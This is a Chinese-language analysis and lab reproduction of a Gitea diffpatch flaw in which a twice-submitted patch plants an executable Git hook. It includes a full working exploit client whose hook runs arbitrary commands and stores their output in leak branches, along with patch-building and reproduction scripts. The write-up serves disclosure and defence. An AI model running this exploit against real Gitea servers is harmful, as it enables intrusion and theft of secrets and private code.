CVE-2026-60004:两次 201,一个 hooks 路径——Gitea diffpatch 把补丁写成了钩子
本文分析Gitea CVE-2026-60004远程命令执行漏洞,攻击者通过diffpatch接口向bare临时仓库提交含恶意钩子的补丁触发执行。
摘要
Gitea 1.27.0 的 diffpatch 接口给补丁建的是 bare 临时仓库,工作树和 $GIT_DIR 是同一个目录。同一段补丁提交两次,第二轮 add/add 触发 git apply -3 的三方合并,补丁里的 hooks/post-index-change 被写进工作树,正好落进钩子目录,命令以 uid=1000(git) 执行。1.27.1 把 clone 改成非 bare,第二次提交直接 500。
项 | 值 |
CVE | CVE-2026-60004 |
组件 | Gitea diffpatch API |
类型 | 补丁路径 → Git 钩子 → 命令执行 |
影响版本 | 1.17–1.26、1.27.0(公开 PoC 范围) |
修复版本 | 1.27.1 |
实测结果 | 两次 201 → |
关键条件 | bare 临时仓库 + |
一、漏洞说明
1、漏洞本身
出问题的是 Gitea 的 diffpatch 接口。任何拥有仓库写权限的账号,往 /api/v1/repos/{owner}/{repo}/diffpatch 提交一段补丁,就能让命令以 Gitea 服务的 OS 用户执行。编号 CVE-2026-60004,CVSS 9.8,已进 CISA KEV。
补丁里的路径是 hooks/post-index-change。没有 .git/ 前缀,也不是路径穿越。Gitea 给补丁应用建的临时仓库是 bare 克隆,工作树和 $GIT_DIR 重合;补丁路径落到工作树,就是落到 $GIT_DIR/hooks/。
一次提交不够。第一轮 apply 只把钩子文件写进索引和树,磁盘上没有;第二轮路径已经在索引里,add/add 触发三方合并,合并结果写进工作树,钩子才出现。
2、受影响的版本与修复状态
公开复现仓库给出的范围是 1.17 到 1.26 以及 1.27.0,1.27.1 修复。NVD 的 CPE 范围到 1.27.1 之前,和这个区间一致。
跑过的版本:
版本 | 状态 | 实测行为 |
1.27.0 | 受影响 | 两次 201,命令以 |
1.27.1 | 修复 | 第二次 500,无输出 |
上游的修复记录在 1.27.1 的 changelog:
refactor: git patch apply (#38637) (#38638)两版在 services/repository/files/patch.go 里的关键差异是一行 clone 参数:
- if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
+ // here must NOT use bare repo, because the following git commands might operate working tree ("--index") directly
+ if err := t.Clone(ctx, opts.OldBranch, false); err != nil {没有独立的临时缓解,只有升级。
二、影响组件与攻击面
1、组件定位
入口在 routers/api/v1/repo/patch.go,handler 只做参数组装。真正干活的是 services/repository/files/patch.go:
ApplyDiffPatch
→ gitPatchPrepare
→ NewTemporaryUploadRepository
→ t.Clone(ctx, opts.OldBranch, true) // 1.27.0:bare
→ t.SetDefaultIndex // git read-tree HEAD
→ git apply --index --recount --cached ... -3
→ t.WriteTree → t.CommitTree → t.Pushapply 带 -3 的条件是 Git 版本不低于 2.32。容器里是 2.54.0,所以这条路径一定带三方合并。
问题不在 Web 路由,也不在权限中间件,在补丁应用服务给临时仓库选的目录布局。
2、攻击面
需要认证,且对目标仓库有写权限,不需要管理员。默认开放注册的实例,注册一个账号、建一个私有仓库,两个条件就齐了。
攻击只用 HTTP API,不需要 Git 客户端、管理员令牌或特制请求头。命令以 Gitea 进程的 OS 用户执行;官方容器里是 uid 1000 的 git,能读 /data/gitea/conf/app.ini、SQLite 数据库和所有仓库对象。
没有权限打不动:
$ cd /opt/gitea-lab
$ GITEA_PASSWORD='Attacker123!' python3 negative.py
[anon] 404
[viewer-auth] 200 viewer
[viewer-diffpatch] 404 {"message":"not found","url":"http://127.0.0.1:3000/api/swagger"}
[wrong-password] 401 {"message":"invalid username, password or token","url":"http://127.0.0.1:3000/ap
匿名 404,私有仓库对未认证用户直接隐藏;viewer 对攻击者的私有仓库同样 404;密码错误停在 401。
negative.py:
"""负向对照:匿名、无权限用户、错误密码。"""
import sys
sys.path.insert(0, "/opt/gitea-lab")
import json
import urllib.request
import lab
BASE = "http://127.0.0.1:3000"
c = lab.Client(BASE, "attacker", "Attacker123!")
sc, repos = c.api("GET", "/api/v1/user/repos")
names = [r["full_name"] for r in repos]
print("[repos]", sc, names[:5])
target = names[0]
patch = lab.build_patch("hooks/post-index-change", "100755", lab.build_hook("id", "leak-neg"))
# 匿名
req = urllib.request.Request(
f"{BASE}/api/v1/repos/{target}/diffpatch",
data=json.dumps({"content": patch}).encode(),
method="POST",
headers={"Content-Type": "application/json"},
)
try:
with urllib.request.urlopen(req, timeout=10) as r:
print("[anon]", r.status)
except Exception as e:
print("[anon]", getattr(e, "code", type(e).__name__))
# viewer 无权限
v = lab.Client(BASE, "viewer", "Viewer123!")
sc, body = v.api("GET", "/api/v1/user")
print("[viewer-auth]", sc, body if isinstance(body, str) else body.get("login"))
sc, body = v.api("POST", f"/api/v1/repos/{target}/diffpatch", {"content": patch})
print("[viewer-diffpatch]", sc, str(body)[:160])
# 错误密码
w = lab.Client(BASE, "attacker", "wrong-password")
sc, body = w.api("GET", "/api/v1/user")
print("[wrong-password]", sc, str(body)[:80])3、触发条件
缺一条都打不通:
服务端用 bare 仓库做补丁应用的临时工作区。
apply 带
--index和-3,且 Git 版本不低于 2.32。攻击者能控制补丁里的路径,且路径不以
.git/开头。路径名命中 Git 钩子名,文件模式是 100755。
需要第二次提交,让同路径已经在索引里,触发 add/add 三方合并。
同一次 apply 的索引更新会触发
post-index-change。
三、危害
1、命令执行落在什么地方
命令不在 HTTP 处理函数的栈上跑,在临时仓库的钩子里跑,身份是 Gitea 的 OS 用户。钩子执行时打印:
uid=1000(git) gid=1000(git) groups=1000(git),1000(git)
/data/gitea/tmp/local-repo/upload.git2571823231前两行是 id 和 pwd。工作目录和 Git 目录是同一个路径;完整的 git rev-parse 与钩子文件属性在「执行上下文有多深」这一节。落点是 /data/gitea/tmp/local-repo/upload.git<随机数>/,身份是 git。
2、攻击者能拿到的效果
Gitea 进程权限下的任意命令执行。容器里至少能:
读
/data/gitea/conf/app.ini,里面有数据库连接串、密钥、SMTP 配置。读 SQLite 数据库,拿到用户、令牌、仓库元数据。
读所有仓库对象,包括私有仓库。
往仓库里写对象和 ref,篡改代码或植入后门。
实例配了外部数据库或对象存储,就能用配置文件里的凭据继续横向。
输出不回显在 HTTP 响应里。钩子从 objects/info/alternates 找到原仓库,把输出写成 blob,再 mktree、commit-tree、update-ref 到 refs/heads/leak-*;攻击者事后用 smart HTTP 取走。日志里只有两次 201。
3、边界
这个洞没法脱离 Gitea 的权限边界。
官方容器、默认用户、只挂
/data:命令执行限制在git用户和挂载进来的数据,不能直接逃逸到宿主机。Gitea 以 root 运行、挂载 docker socket、或把宿主机目录大面积挂进来:同一份命令执行能碰到更大的面。
数据库和对象存储在外网、凭据在
app.ini里:攻击者可以带着凭据继续打外部服务。
它是逻辑层漏洞,不是内核漏洞。不提供内存破坏或容器逃逸;上限就是 Gitea 进程的权限和挂载。验证覆盖官方容器加 SQLite,其他数据库或编排形态要单独确认。
四、复现过程
1、目录结构
/opt/gitea-lab/
├── data-1.27.0/ # 1.27.0 的 SQLite 与仓库数据
├── data-1.27.1/ # 1.27.1 的对照数据
├── gitea_up.sh # 起 1.27.0 / 1.27.1:重置数据、启动、等 API、建用户
├── lab.py # 认证、建仓、提交 N 次、取回 ref
├── make_patch.py # 把 hook.sh 包成 hooks/post-index-change 新文件补丁
├── mechanism3.sh # 纯 git 两轮:第一轮写树,第二轮 add/add
├── mechanism_fixed.sh # 非 bare 布局:钩子落工作树,不执行
├── mitigation.sh # core.hooksPath=/dev/null 对照
├── inspect_live.sh # 执行期间抓 ps 和临时目录
├── negative.py # 匿名、viewer 越权、错误密码
└── poc_main.py # 公开 PoC(0xBlackash)2、环境
$ uname -r
6.6.15-amd64
$ docker version --format '{{.Server.Version}}'
29.6.1镜像第一次要从 ghcr.io 拉:
$ docker pull ghcr.io/go-gitea/gitea:1.27.0
$ docker pull ghcr.io/go-gitea/gitea:1.27.1起 1.27.0。数据库用 SQLite,安装锁打开,注册关闭:
# 数据目录 + 只绑回环
$ docker rm -f gitea-1.27.0 2>/dev/null || true
$ docker run -d --name gitea-1.27.0 \
-p 127.0.0.1:3000:3000 \
-v /opt/gitea-lab/data-1.27.0:/data \
-e GITEA__database__DB_TYPE=sqlite3 \
-e GITEA__security__INSTALL_LOCK=true \
-e GITEA__server__ROOT_URL=http://127.0.0.1:3000/ \
-e GITEA__server__HTTP_PORT=3000 \
-e GITEA__service__DISABLE_REGISTRATION=true \
ghcr.io/go-gitea/gitea:1.27.0
# 轮询到 HTTP 200 再继续(-s 静默,成功不打印)
$ until curl -sf -o /dev/null http://127.0.0.1:3000/api/v1/version; do sleep 2; done容器里的版本:
$ docker exec gitea-1.27.0 sh -c 'git --version; gitea --version'
3、补丁
补丁是一段钩子脚本加一个“新建可执行文件”的 diff。钩子做三件事:从 alternates 找到原仓库、执行命令、把输出写回一个 ref。
#!/bin/sh
# 从 alternates 找到原仓库
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
case "$origin_objects" in
/*) ;;
*) origin_objects="$git_dir/objects/$origin_objects" ;;
esac
origin_git=${origin_objects%/objects}
[ "$origin_git" != "$origin_objects" ] || exit 3
# 执行命令,输出写成 blob,再挂到 refs/heads/leak-*
output_blob=$({ /bin/sh -c 'id; pwd'; command_status=$?; printf "\n[exit-status=%s]\n" "$command_status"; } 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
tree=$(printf "100644 blob %s\toutput\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
commit=$(printf "command output\n" | GIT_AUTHOR_NAME=lab GIT_AUTHOR_EMAIL=lab@poc.local GIT_COMMITTER_NAME=lab GIT_COMMITTER_EMAIL=lab@poc.local git --git-dir="$origin_git" commit-tree "$tree") || exit 6
git --git-dir="$origin_git" update-ref refs/heads/leak-xxxx "$commit" || exit 7
exit 0id; pwd 只是示例;钩子大小随命令长度变化,「执行上下文有多深」里的输出用了更长的命令,所以那里是 1061。
补丁头把它声明成 100755 的新文件:
diff --git a/hooks/post-index-change b/hooks/post-index-change
new file mode 100755
index 0000000000000000000000000000000000000000..<blob>
--- /dev/null
+++ b/hooks/post-index-change
@@ -0,0 +1,<N> @@
+#!/bin/sh
+...补丁由 lab.py 的 build_patch() 生成:路径、模式、内容三个参数直接进补丁头。公开 PoC 是 Ashraf Zaryouh(0xBlackash)的 0xBlackash/CVE-2026-60004;lab.py 是可控变体,用来跑提交次数、路径、模式、钩子名的矩阵。
4、客户端与容器启动
创建一个普通账号,不给管理员:
$ docker exec -u git gitea-1.27.0 gitea admin user create \
--username attacker --password 'Attacker123!' \
--email attacker@example.com --must-change-password=false
客户端只用 Python 标准库加 git:先认证、建仓,再提交补丁。代码在 lab.py 的 Client 类里,认证走 Basic Auth,建仓后循环 POST 补丁。
lab.py:
#!/usr/bin/env python3
"""CVE-2026-60004 客户端:认证、建仓、提交补丁、取回 ref。"""
import argparse, base64, hashlib, json, os, secrets, shlex, shutil
import subprocess, sys, tempfile, urllib.error, urllib.parse, urllib.request
TIMEOUT = 30.0
UA = "gitea-lab/1.0"
class Client:
def __init__(self, base, user, pw):
self.base = base.rstrip("/")
self.auth = "Basic " + base64.b64encode(f"{user}:{pw}".encode()).decode()
def api(self, method, path, payload=None):
data = json.dumps(payload, separators=(",", ":")).encode() if payload is not None else None
req = urllib.request.Request(self.base + path, data=data, method=method, headers={
"Accept": "application/json", "Authorization": self.auth,
"Content-Type": "application/json", "User-Agent": UA})
try:
with urllib.request.urlopen(req, timeout=TIMEOUT) as r:
raw = r.read()
return r.status, json.loads(raw) if raw else None
except urllib.error.HTTPError as e:
return e.code, e.read().decode("utf-8", "replace")[:300]
def blob_oid(content):
return hashlib.sha1(b"blob %d\0" % len(content) + content).hexdigest()
def build_patch(path, mode, content):
n = content.count(b"\n")
# new file diff:路径 + 模式 + blob oid
hdr = (f"diff --git a/{path} b/{path}\n"
f"new file mode {mode}\n"
f"index {'0'*40}..{blob_oid(content)}\n"
f"--- /dev/null\n+++ b/{path}\n"
f"@@ -0,0 +1,{n} @@\n").encode()
return (hdr + b"".join(b"+" + l for l in content.splitlines(keepends=True))).decode()
def build_hook(cmd, leak_ref):
qcmd = shlex.quote(cmd)
qref = shlex.quote(f"refs/heads/{leak_ref}")
# shared clone 的 alternates 指向原仓库;输出写成 blob,再 update-ref 回来
return ("#!/bin/sh\n"
'# 从 alternates 找到原仓库\n'
'git_dir=$(git rev-parse --absolute-git-dir) || exit 1\n'
'origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2\n'
'case "$origin_objects" in\n'
' /*) ;;\n'
' *) origin_objects="$git_dir/objects/$origin_objects" ;;\n'
'esac\n'
'origin_git=${origin_objects%/objects}\n'
'[ "$origin_git" != "$origin_objects" ] || exit 3\n'
'# 执行命令,输出写成 blob,再挂到 refs/heads/leak-*\n'
f"output_blob=$({{ /bin/sh -c {qcmd}; "
'command_status=$?; printf "\\n[exit-status=%s]\\n" "$command_status"; } 2>&1 | '
'git --git-dir="$origin_git" hash-object -w --stdin) || exit 4\n'
'tree=$(printf "100644 blob %s\\toutput\\n" "$output_blob" | '
'git --git-dir="$origin_git" mktree) || exit 5\n'
f'commit=$(printf "command output\\n" | GIT_AUTHOR_NAME=lab GIT_AUTHOR_EMAIL=lab@poc.local '
'GIT_COMMITTER_NAME=lab GIT_COMMITTER_EMAIL=lab@poc.local '
'git --git-dir="$origin_git" commit-tree "$tree") || exit 6\n'
f'git --git-dir="$origin_git" update-ref {qref} "$commit" || exit 7\n'
"exit 0\n").encode()
def run_git(args, env=None):
r = subprocess.run(["git", *args], env=env or os.environ,
stdin=subprocess.DEVNULL, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, timeout=TIMEOUT)
if r.returncode != 0:
raise RuntimeError(r.stderr.decode("utf-8", "replace")[:300])
return r.stdout
def fetch_output(client, owner, repo, ref):
remote = f"{client.base}/{urllib.parse.quote(owner)}/{urllib.parse.quote(repo)}.git"
with tempfile.TemporaryDirectory(prefix="lab-") as tmp:
bare = os.path.join(tmp, "f.git")
cfg = os.path.join(tmp, "auth.config")
with open(cfg, "w") as f:
f.write(f"[http]\n\textraHeader = Authorization: {client.auth}\n")
env = {**os.environ, "GIT_TERMINAL_PROMPT": "0"}
run_git(["init", "--bare", "--quiet", bare], env)
run_git(["-C", bare, "-c", f"include.path={cfg}", "fetch", "--quiet", "--no-tags",
remote, f"refs/heads/{ref}"], env)
return run_git(["-C", bare, "show", "FETCH_HEAD:output"], env)
def main():
p = argparse.ArgumentParser()
p.add_argument("url")
p.add_argument("user")
p.add_argument("cmd")
p.add_argument("--patches", type=int, default=1)
p.add_argument("--path", default="hooks/post-index-change")
p.add_argument("--mode", default="100755")
p.add_argument("--label", default="")
p.add_argument("--benign", action="store_true")
a = p.parse_args()
pw = os.environ.get("GITEA_PASSWORD", "")
c = Client(a.url, a.user, pw)
sc, ver = c.api("GET", "/api/v1/version")
print(f"[version] {sc} {ver}")
sc, acct = c.api("GET", "/api/v1/user")
owner = acct["login"]
print(f"[auth] {sc} user={owner}")
repo = "lab-" + secrets.token_hex(4)
sc, _ = c.api("POST", "/api/v1/user/repos", {
"name": repo, "private": True, "auto_init": True, "default_branch": "main"})
print(f"[repo] {sc} {owner}/{repo}")
leak = "leak-" + secrets.token_hex(3)
if a.benign:
patch = build_patch("notes.txt", "100644", b"hello\n")
sc, body = c.api("POST", f"/api/v1/repos/{owner}/{repo}/diffpatch", {"content": patch})
print(f"[benign] HTTP {sc} {str(body)[:160]}")
return
hook = build_hook(a.cmd, leak)
patch = build_patch(a.path, a.mode, hook)
# 第一次只写树;第二次 add/add 触发三方合并
for i in range(a.patches):
sc, body = c.api("POST", f"/api/v1/repos/{owner}/{repo}/diffpatch", {"content": patch})
print(f"[patch {i+1}/{a.patches}] HTTP {sc} {str(body)[:120]}")
try:
raw = fetch_output(c, owner, repo, leak)
print("[output]")
sys.stdout.write(raw.decode("utf-8", "replace"))
print(f"\n[result] EXECUTED ref={leak}")
except Exception as e:
print(f"[result] NO-OUTPUT ({e})")
if __name__ == "__main__":
main()建仓返回 201:
[version] 200 {'version': '1.27.0'}
[auth] 200 user=attacker
[repo] 201 attacker/full-1311b0第一次提交也返回 201,响应里是普通提交对象:
[status] 201
{
"content": null,
"commit": {
"url": "http://127.0.0.1:3000/api/v1/repos/attacker/full-1311b0/git/commits/824cc69efdaefdc0edf2613758a24b39fbe1c243",
"sha": "824cc69efdaefdc0edf2613758a24b39fbe1c243",
…
"message": "apply-patch\n",响应体只保留状态码和 commit URL 里的 SHA 前缀,其余用 … 省略;lab.py 只打印前 120 个字符,行尾看起来是断的。
5、两次 201 与钩子执行
一次提交:
$ cd /opt/gitea-lab
$ export GITEA_PASSWORD='Attacker123!'
$ python3 lab.py http://127.0.0.1:3000 attacker 'id; hostname' --patches 1
两次提交:
$ python3 lab.py http://127.0.0.1:3000 attacker 'id; hostname' --patches 2
hostname 是容器 ID,重跑会变;uid 和输出结构不变。
flowchart TD
A["仓库写权限"] --> B["POST /diffpatch 第一次"]
B --> C["bare 临时仓库 git apply --cached -3"]
C --> D["钩子只进索引,不落盘"]
D --> E["commit / push:钩子进入仓库树"]
E --> F["POST /diffpatch 第二次"]
F --> G["新 bare 克隆,HEAD 已有 hooks/post-index-change"]
G --> H["add/add 三方合并,结果写进工作树"]
H --> I["工作树 = $GIT_DIR,落到 hooks/"]
I --> J["索引更新,post-index-change 执行"]两次提交的差别只有一处:第一次 apply 是新增文件,直接进索引;第二次索引里已有同路径,add/add 走三方合并,合并结果写进工作树。
6、执行上下文有多深
钩子里加一个 sleep 20,在后台跑,趁它挂着看进程:
$ GITEA_PASSWORD='Attacker123!' python3 lab.py http://127.0.0.1:3000 attacker 'sleep 20; id; pwd' --patches 2 &
$ sleep 6
$ docker exec gitea-1.27.0 sh -c 'ps -ef | grep -E "git|post-index|sleep" | grep -v grep'
git apply 的参数和源码里的调用一字不差:--index、--cached、-3 都在。钩子进程的 argv[0] 是 {post-index-chan},Git 按钩子名拉起来的,不是应用层直接 sh 了一个文件。
sleep 20 会让 lab.py 在第二次提交时超时(客户端上限 30 秒)。
同一时刻找临时仓库:
$ docker exec gitea-1.27.0 sh -c 'find /data -maxdepth 8 -name post-index-change'
$ wait
PID、upload.git 后面的随机数字每次不同。
再往里一层,钩子打印:
$ GITEA_PASSWORD='Attacker123!' python3 lab.py http://127.0.0.1:3000 attacker \
'id; pwd; git rev-parse --absolute-git-dir; ls -l hooks/post-index-change' --patches 2
从 HTTP 请求到 OS 命令,三层:请求进 handler;handler 建 bare 临时仓库跑 git apply -3;apply 更新索引时拉起 hooks/post-index-change。第三层的身份是 git,工作目录是临时仓库,$GIT_DIR 也是同一个目录。
五、漏洞分析
1、diffpatch 的补丁怎么应用
按时间排:
校验仓库未归档、调用者有权限、补丁参数合法。
NewTemporaryUploadRepository创建一个临时目录。t.Clone(ctx, opts.OldBranch, true)把原仓库 bare 克隆到临时目录。t.SetDefaultIndex()执行git read-tree HEAD,把 HEAD 的树放进索引。git apply --index --recount --cached --ignore-whitespace --whitespace=fix --binary -3应用补丁。git write-tree、git commit-tree、git push把结果推回原仓库。
问题在第 3 步和第 5 步的组合:bare 克隆让临时目录同时是工作树和 $GIT_DIR;-3 让 apply 在 add/add 时走三方合并,三方合并要把结果写到工作树。
2、路径与权限校验为什么没拦住
handler 只校验“有没有权限改这个仓库”,没有校验“补丁允许改哪些路径”。git apply 自己有一层保护,只拒绝 .git/ 前缀:
$ python3 lab.py http://127.0.0.1:3000 attacker 'id' --patches 2 --path .git/hooks/post-index-change
hooks/post-index-change 不以 .git/ 开头,git apply 认为它是合法的仓库内路径,放行。
--cached 的直觉是“只写索引、不碰工作树”,但那是直接应用。add/add 走 -3 时,合并结果要落到工作树,这条分支不受 --cached 的字面约束。校验层看到的只是“一个普通新增文件”。
权限侧也没拦住:仓库写权限足够,不需要管理员;开放注册时,陌生人自己建一个仓库就同时拿到认证和写权限。
正常的补丁操作不受影响:
$ python3 lab.py http://127.0.0.1:3000 attacker 'id' --benign
同一个接口,同样是新建文件,换成 notes.txt 就只是普通提交,没有钩子,也没有命令执行。危险判据只有一条:补丁路径能不能落到 hooks/ 下。
3、第二轮多出来的那次合并
纯 git 里可以完全离开 Gitea 重放这条链。先准备原仓库和补丁:
# 原仓库
$ T=$(mktemp -d /tmp/gitmech.XXXXXX)
$ cd "$T"
$ git init -q --bare origin.git
$ git -C origin.git symbolic-ref HEAD refs/heads/main
$ git clone -q origin.git seed
$ cd seed
$ git config user.email a@b
$ git config user.name a
$ echo hi > README
$ git add README
$ git commit -qm init
$ git push -q origin HEAD:main
$ cd ..
# 生成只写标记的钩子补丁
$ cat > /tmp/hook.sh <<'EOS'
#!/bin/sh
echo "HOOK_RAN pwd=$(pwd) git_dir=$(git rev-parse --absolute-git-dir 2>/dev/null)" >> /tmp/hook_ran
EOS
$ chmod +x /tmp/hook.sh
$ python3 /opt/gitea-lab/make_patch.py /tmp/hook.sh > /tmp/hook.patchtree 对不上,先 cat /tmp/hook.sh 对内容;钩子内容不同,tree 就不同。
make_patch.py:
#!/usr/bin/env python3
"""把 hook.sh 包成 hooks/post-index-change 的新增文件补丁。"""
import hashlib, sys
hook_path = sys.argv[1] if len(sys.argv) > 1 else "/tmp/hook.sh"
content = open(hook_path, "rb").read()
oid = hashlib.sha1(b"blob %d\0" % len(content) + content).hexdigest() # git blob oid
lines = content.count(b"\n")
# 路径 + 100755 + blob oid
hdr = (
f"diff --git a/hooks/post-index-change b/hooks/post-index-change\n"
f"new file mode 100755\n"
f"index {'0'*40}..{oid}\n"
f"--- /dev/null\n"
f"+++ b/hooks/post-index-change\n"
f"@@ -0,0 +1,{lines} @@\n"
)
out = hdr.encode() + b"".join(b"+" + l for l in content.splitlines(keepends=True))
sys.stdout.buffer.write(out)第一轮:bare 克隆、read-tree、apply、commit、push。钩子文件只在索引和树里,磁盘上没有:
$ git clone -q --bare -s origin.git temp1.git
$ cd temp1.git
$ git config core.bare
true
$ git read-tree HEAD
$ git apply --index --recount --cached --ignore-whitespace --whitespace=fix --binary -3 /tmp/hook.patch
$ ls hooks/post-index-change
ls: 无法访问 'hooks/post-index-change': 没有那个文件或目录
$ tree=$(git write-tree)
$ echo $tree
b72efd6ccb4217742c4bfc51f188aedc0c862d67
$ commit=$(printf 'x\n' | GIT_AUTHOR_NAME=a GIT_AUTHOR_EMAIL=a@b GIT_COMMITTER_NAME=a GIT_COMMITTER_EMAIL=a@b git commit-tree "$tree" -p HEAD)
$ echo $commit
2aee2d8a242e549b2a01a05eb9a8e1b86642a1f4
$ git update-ref refs/heads/main "$commit"
$ git push -q origin refs/heads/main:refs/heads/main
第二轮重新 bare 克隆。HEAD 的树里已经有 hooks/post-index-change,read-tree 把它放进索引;apply 发现索引里已有同路径,patch 又是 new file,形成 add/add,-3 走三方合并:
$ git clone -q --bare -s origin.git temp2.git
$ cd temp2.git
$ git read-tree HEAD
$ git apply --index --recount --cached --ignore-whitespace --whitespace=fix --binary -3 /tmp/hook.patch
$ ls -l hooks/post-index-change
-rwxr-xr-x 1 root root 110 11月13日 01:27 hooks/post-index-change
$ cat /tmp/hook_ran
HOOK_RAN pwd=/tmp/gitmech3.Y7YrCi/temp2.git git_dir=/tmp/gitmech3.Y7YrCi/temp2.git
第二轮 apply 的 stderr:
回落到直接应用...
执行三方合并...
成功应用补丁到 'hooks/post-index-change'。“回落到直接应用”是第一轮:新增文件直接进索引,不碰工作树。“执行三方合并”是第二轮:索引里已有同路径,必须合并,合并结果写工作树。两次提交的差别就在这一行。
mechanism3.sh:
#!/bin/bash
# 纯 git 两轮:第一轮写树,第二轮 add/add 触发三方合并。
set -u
T=$(mktemp -d /tmp/gitmech3.XXXXXX)
rm -f /tmp/hook_ran
echo "tmp=$T"
cat > /tmp/hook.sh <<'EOS'
#!/bin/sh
echo "HOOK_RAN pwd=$(pwd) git_dir=$(git rev-parse --absolute-git-dir 2>/dev/null)" >> /tmp/hook_ran
EOS
chmod +x /tmp/hook.sh
python3 "$(dirname "$0")/make_patch.py" /tmp/hook.sh > /tmp/hook.patch
cd "$T"
git init -q --bare origin.git
git -C origin.git symbolic-ref HEAD refs/heads/main
git clone -q origin.git seed
cd seed
git config user.email a@b
git config user.name a
echo hi > README
git add README
git commit -qm init
git push -q origin HEAD:main
cd ..
round() {
local n=$1
cd "$T"
rm -rf temp$n.git
git clone -q --bare -s origin.git temp$n.git
cd temp$n.git
echo "--- round $n: bare=$(git config core.bare)"
git read-tree HEAD
echo "[$n] hooks before apply: $(ls hooks/post-index-change 2>&1)"
git apply --index --recount --cached --ignore-whitespace --whitespace=fix --binary -3 /tmp/hook.patch; echo "[$n] apply rc=$?"
echo "[$n] hooks after apply: $(ls -l hooks/post-index-change 2>&1)"
echo "[$n] marker after apply: $(cat /tmp/hook_ran 2>&1)"
local tree commit
tree=$(git write-tree)
commit=$(printf 'x\n' | GIT_AUTHOR_NAME=a GIT_AUTHOR_EMAIL=a@b GIT_COMMITTER_NAME=a GIT_COMMITTER_EMAIL=a@b git commit-tree "$tree" -p HEAD)
git update-ref refs/heads/main "$commit"
echo "[$n] commit=$commit tree=$tree"
echo "[$n] marker after commit: $(cat /tmp/hook_ran 2>&1)"
git push -q origin refs/heads/main:refs/heads/main; echo "[$n] push rc=$?"
echo "[$n] marker after push: $(cat /tmp/hook_ran 2>&1)"
}
# 第一轮:钩子只进索引和树
round 1
# 第二轮:HEAD 已有同路径,apply 走三方合并
round 2
echo "=== origin HEAD tree ==="
git --git-dir="$T/origin.git" ls-tree -r --name-only HEAD | head
echo "=== origin refs ==="
git --git-dir="$T/origin.git" for-each-ref --format='%(refname)' | head4、合并结果落到哪
bare 仓库没有独立工作树,工作树路径与 $GIT_DIR 重合。补丁路径 hooks/post-index-change 在第二轮被三方合并写到工作树,落点就是 $GIT_DIR/hooks/post-index-change,正好是 Git 加载钩子的目录。
flowchart LR
P["补丁路径 hooks/post-index-change"]
subgraph BARE["bare 临时仓库 upload.git…"]
W["工作树 = 仓库目录"]
G["$GIT_DIR = 仓库目录"]
H["钩子目录 = $GIT_DIR/hooks"]
end
P --> W
W -->|"同一个目录"| G
G --> H
H -->|"名字匹配 + 100755"| X["post-index-change 执行"]五条规则:
bare 仓库没有独立工作树,工作树路径与
$GIT_DIR重合。git apply同时带--index、--cached、-3。第一轮是新增文件,直接进索引;第二轮索引里已经有同路径,add/add 触发三方合并,合并结果写进工作树。补丁路径由攻击者控制,只要不以
.git/开头,git apply不会拒绝。文件名必须命中 Git 认可的钩子名,模式必须是 100755。
git apply更新索引时会触发post-index-change,不需要等下一次提交。
5、没有调试日志时为什么看不到
默认日志下这条链几乎不可见:
两次
POST /diffpatch都是 201,响应体是普通提交对象,没有命令字符串,也没有报错。命令输出不经过 HTTP 响应,而是写进
refs/heads/leak-*,攻击者事后取走。临时仓库用完就删,
/data/gitea/tmp/local-repo/upload.git*只在执行期间存在。钩子执行只留下
git apply和post-index-change的进程,没有应用层日志。
钩子在一次 apply 里执行不止一次。用计数文件看:
$ docker exec gitea-1.27.0 sh -c 'rm -f /tmp/hook_count'
$ python3 lab.py http://127.0.0.1:3000 attacker 'echo hit >> /tmp/hook_count; wc -l < /tmp/hook_count' --patches 2
$ docker exec gitea-1.27.0 sh -c 'wc -l < /tmp/hook_count'
同一次 apply 里 post-index-change 被触发了两次。不开 DEBUG3、不看进程树、不查临时目录,日志里只是两次正常的补丁提交。
检测盯三个点:diffpatch 请求里的路径是否含 hooks/;临时仓库目录的 hooks/ 是否出现新文件;git apply 是否带 -3 且临时仓库 core.bare=true。只看 HTTP 状态码看不出来。
6、同一路径的另一种写法
固定两次提交,换路径、模式、钩子名:
路径 | 模式 | 钩子名是否被 apply 触发 | 结果 |
| 100755 | 是 | EXECUTED |
| 100755 | 否 | NO-OUTPUT |
| 100755 | 否 | NO-OUTPUT |
| 100755 | 否 | NO-OUTPUT |
| 100644 | 名字对,但不可执行 | NO-OUTPUT |
| 100755 | 不在 hooks 目录 | NO-OUTPUT |
| 100755 | 路径被 git 拒绝 | HTTP 500 |
对应的命令和输出:
$ cd /opt/gitea-lab
$ export GITEA_PASSWORD='Attacker123!'
$ python3 lab.py http://127.0.0.1:3000 attacker 'id' --patches 2
$ python3 lab.py http://127.0.0.1:3000 attacker 'id' --patches 2 --path .git/hooks/post-index-change
$ python3 lab.py http://127.0.0.1:3000 attacker 'id' --patches 2 --path hooks/pre-commit
$ python3 lab.py http://127.0.0.1:3000 attacker 'id' --patches 2 --mode 100644
$ python3 lab.py http://127.0.0.1:3000 attacker 'id' --patches 2 --path post-index-change
三个没打中的写法:
钩子名不对:文件确实落进了
hooks/,但git apply只触发post-index-change,pre-commit、post-checkout、post-merge这条路径上没人调用。模式不对:
100644的文件在hooks/里也不会被执行,Git 要求钩子可执行。路径不对:
.git/hooks/...被git apply直接拒绝,返回 500;放在仓库根的post-index-change又不在钩子查找目录里。
换一种写法就失效,说明这不是通用路径穿越,而是目录折叠加钩子命名的组合。
六、修复建议
1、上游 1.27.1 的修复
最直接的一层是升级。起 1.27.1,跑同样的两次提交:
$ bash /opt/gitea-lab/gitea_up.sh 1.27.1 3001
$ cd /opt/gitea-lab
$ GITEA_PASSWORD='Attacker123!' python3 lab.py http://127.0.0.1:3001 attacker 'id; hostname' --patches 2
$ docker logs gitea-1.27.1 --tail 30
gitea_up.sh:
#!/bin/bash
# 起 Gitea:重置数据、启动容器、等 API、建 attacker。
set -e
V=$1
PORT=$2
NAME=gitea-$V
DATA=/opt/gitea-lab/data-$V
docker rm -f "$NAME" >/dev/null 2>&1 || true
rm -rf "$DATA"
mkdir -p "$DATA"
# 容器里的 uid 1000 要能写 /data
chown 1000:1000 "$DATA"
docker run -d --name "$NAME" \
